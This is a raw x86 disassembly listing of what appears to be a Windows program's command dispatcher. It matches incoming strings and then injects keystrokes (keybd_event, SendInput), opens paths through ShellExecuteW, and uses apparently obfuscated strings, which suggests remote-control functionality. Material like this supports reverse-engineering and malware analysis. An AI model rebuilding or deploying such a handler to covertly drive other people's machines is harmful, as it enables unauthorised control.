mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.0054dc34
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00447ac0
mov esi, dword [ebp - 0x38]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00416010
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00450e70
push 0x2c
push dword [ebp - 0x74]
call fcn.0054dc64
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x528d4f
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5c93e4
call fcn.0042eb20
lea ecx, [ebp - 0x30]
call fcn.004451c0
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x528d96
test cx, cx
je 0x528d92
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x528d96
add eax, 4
add edi, 4
test cx, cx
jne 0x528d70
xor edi, edi
jmp 0x528d9b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528db6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x527be4
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.Y1pD6ehh4dIgoTkeGNASQyFh3CQs10NCUUxMy0e6DC1heQEE3RIhMNDeD4H
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042d740
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, esi
call fcn.004451c0
add esp, 0x18
mov ecx, edi
call fcn.004625b0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x527be4
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x528e56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a706
push ecx
push edx
call fcn.0054dc64
add esp, 8
jmp 0x527be4
sub esp, 0x18
mov ecx, esp
push 0x5c4700
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528ec5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528e90
sub ecx, dword [ebp - 0x30]
je 0x528ec5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528ec5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528eb0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x528ecc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528f00
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528ef6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a706
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x528f94
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528f40
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
mov esi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052a910
test al, al
je 0x527be4
mov byte [esi + 0x9c], 1
jmp 0x527be4
sub esp, 0x18
mov ecx, esp
push 0x5c4718
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528ff5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528fc0
sub ecx, dword [ebp - 0x30]
je 0x528ff5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528ff5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528fe0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x528ffc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529030
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529026
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a706
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x529205
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529070
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
mov ecx, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052a910
test al, al
je 0x527be4
mov byte [ebp - 4], 0x4e
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a7b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.S3lZwMDBbGOEA7jW3kKjawJ7kUScQbL1UUsDjBeBLxYuhEmtDSeRJueDioScNgQ
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042d740
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00434c00
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x298]
call fcn.00435d20
lea ecx, [ebp - 0x298]
call fcn.00434b80
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x30]
call fcn.004451c0
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x24]
push eax
call fcn.00421a10
mov edx, dword [ebp - 0x30]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5291ad
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.0042ec80
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0042ea10
mov ecx, dword [ebp - 0x38]
add eax, 0x10
mov dword [esi], eax
call fcn.00525e70
lea ecx, [ebp - 0xe4]
call fcn.0042ec80
mov edx, dword [ebp - 0x30]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x527be4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x527be4
sub esp, 0x18
mov ecx, esp
push 0x5c4760
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529265
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529230
sub ecx, dword [ebp - 0x30]
je 0x529265
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529265
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529250
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52926c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5292a0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529296
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a706
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5293e4
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5292e0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a710
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a710
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a4d0
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.0052a830
mov ecx, dword [eax]
test ecx, ecx
je 0x529394
mov eax, dword [ebp - 0x38]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
lea ecx, [esi - 0x10]
call fcn.0042ea10
mov ecx, dword [ebp - 0x30]
add eax, 0x10
mov dword [edi], eax
call fcn.004625b0
jmp 0x529397
mov esi, dword [ebp - 0x2c]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5293b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5293c9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52a671
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x527bfa
sub esp, 0x18
mov ecx, esp
push 0x5c4910
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529445
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529410
sub ecx, dword [ebp - 0x30]
je 0x529445
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529445
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529430
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52944c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529480
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529476
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a706
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x529731
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5294c0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 8
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a7ba
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x594824
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042f380
test al, al
jne 0x529522
push 0
push 0x594824
lea ecx, [ebp - 0x3c]
call fcn.0042f6b0
mov byte [ebp - 4], 0x5b
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a7c4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push 0x594824
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x5c
call fcn.0042f380
test al, al
jne 0x529566
push 0
push 0x594824
lea ecx, [ebp - 0x44]
call fcn.0042f6b0
mov byte [ebp - 4], 0x5d
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a7ce
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x594824
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x5e
call fcn.0042f380
test al, al
jne 0x5295aa
push 0
push 0x594824
lea ecx, [ebp - 0x38]
call fcn.0042f6b0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a8f0
add esp, 0xc
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a710
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push 0x594824
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x60
call fcn.0042f380
test al, al
jne 0x529612
push 0
push 0x594824
lea ecx, [ebp - 0x2c]
call fcn.0042f6b0
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x61
mov edi, dword [ebp - 0x24]
lea edx, [ebp - 0x38]
push eax
push 2
lea eax, [ebp - 0x3c]
push edi
push eax
lea ecx, [ebp - 0x44]
call fcn.0044c410
mov byte [ebp - 4], 0x5f
or esi, 0xffffffff
mov edx, dword [ebp - 0x2c]
add esp, 0x10
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x529653
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a710
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push 0x594824
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x62
call fcn.0042f380
test al, al
jne 0x529693
push 0
push 0x594824
lea ecx, [ebp - 0x2c]
call fcn.0042f6b0
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x63
push eax
push 0x10
lea eax, [ebp - 0x3c]
push edi
push eax
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x44]
call fcn.0044c410
mov edx, dword [ebp - 0x2c]
add esp, 0x10
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5296ca
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5296e4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5296fe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x529716
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52a671
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x527bfa
sub esp, 0x18
mov ecx, esp
push 0x5c47d8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529795
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529760
sub ecx, dword [ebp - 0x30]
je 0x529795
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529795
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529780
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52979c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042d640
cmp dword [ebp - 0x24], 0
je 0x529921
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042e0b0
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x64
push eax
call fcn.0052a830
lea ecx, [ebp - 0x2c]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
call fcn.00420320
push str.cHpjTRAtYdAjQAKWENkUAFB2LBkeTBhsHGEw0gAHw1BNflJfhFDdSnBx4
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x65
call fcn.0042eed0
sub esp, 0x18
mov byte [ebp - 4], 0x66
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x30]
call fcn.004451c0
push esi
mov byte [ebp - 4], 0x67
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00421a10
add esp, 0x24
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x30]
call fcn.0042e190
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52983d.5
movzx eax, byte [eax + 0x52a7ec]
jmp dword [eax*4 + 0x52a7d8]
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0x68]
push str.amtzLbRFJqEh0aMSUlNREUkdrAh4C6FQQJ5CgcEKBQUAxT1BLdCE8FYDRUIfGCIAeIhoOVHU9QsSxUMoBhgWAEBcW
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042eed0
push 4
push ecx
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, esi
call fcn.004451c0
add esp, 0x18
mov ecx, edi
call fcn.004625b0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x66
call fcn.0042ec80
jmp 0x5298e0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00405d70
jmp 0x5298e0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x5298e0
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x5298e0
test edi, edi
je 0x529906
mov eax, dword [ebp - 0x38]
push dword [ebp - 0x50]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004625b0
lea ecx, [ebp - 0x130]
call fcn.0042ec80
lea ecx, [ebp - 0x2c]
call fcn.0042e190
lea ecx, [ebp - 0x3c]
jmp 0x52a66c
sub esp, 0x18
mov ecx, esp
push 0x5c48e0
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529985
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529950
sub ecx, dword [ebp - 0x30]
je 0x529985
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529985
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529970
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52998c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042d640
cmp dword [ebp - 0x24], 0
je 0x529efa
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x69
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5299d0
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
sub esp, 0x10
mov ecx, esp
push 0x5c4a00
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x529a14
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452eb0
add esp, 8
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0x68]
call fcn.0042d640
cmp byte [ebp - 0x31], 0
je 0x529b17
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.0054fa10
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
lea ecx, [ebp - 0xcc]
call fcn.0042d640
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4a18
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x529b3c
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452eb0
add esp, 8
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0x68]
call fcn.0042d640
cmp byte [ebp - 0x31], 0
je 0x529b92
push 0
push 0
push 0x44c350
call fcn.0055922a
add esp, 0xc
lea ecx, [ebp - 0xcc]
call fcn.0042d640
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4a30
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x529bb7
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452eb0
add esp, 8
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0x68]
call fcn.0042d640
sub esp, 0x18
cmp byte [ebp - 0x31], 0
mov ecx, esp
je 0x529d2b
push 0x5c49d0
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov byte [ebp - 4], 0x6a
cmp dword [eax + 0x14], 0x10
jb 0x529c16
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x38]
call fcn.0042e0b0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x6c
call fcn.0042d640
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x529ee2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.ZmhYLNRYaxN1ETDCyw
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042f7c0
push str.YVdE6VBMIgJj0PYCCskuBDkbZMRMlfKyY
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x6d
call fcn.0042f7c0
push str.WGNKRbn4GaCQE8KBndLuNBY
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6e
call fcn.0042f7c0
lea ecx, [ebp - 0x2c]
call fcn.00420320
push esi
push ecx
mov byte [ebp - 4], 0x70
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [esi], eax
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x71
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00421a10
add esp, 0xc
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x30]
call fcn.0042e190
push 0x594824
lea ecx, [ebp - 0x48]
call fcn.0042f7c0
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x72
call fcn.0042f7c0
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x73
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x70], ecx
push eax
call fcn.0042ead0
lea ecx, [ebp - 0x50]
call fcn.004455a0
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x74
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x30]
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x75
jmp 0x529e8a
push 0x5c49e8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
lea ecx, [ebp - 0xcc]
mov edx, eax
call fcn.0052abf0
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x31], al
call fcn.0042d640
cmp byte [ebp - 0x31], 0
je 0x529eea
sub esp, 0x18
mov ecx, esp
push 0x5c49e8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 0x76
call fcn.0042d430
push eax
lea ecx, [ebp - 0x38]
call fcn.0042e0b0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x78
call fcn.0042d640
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x529ee2
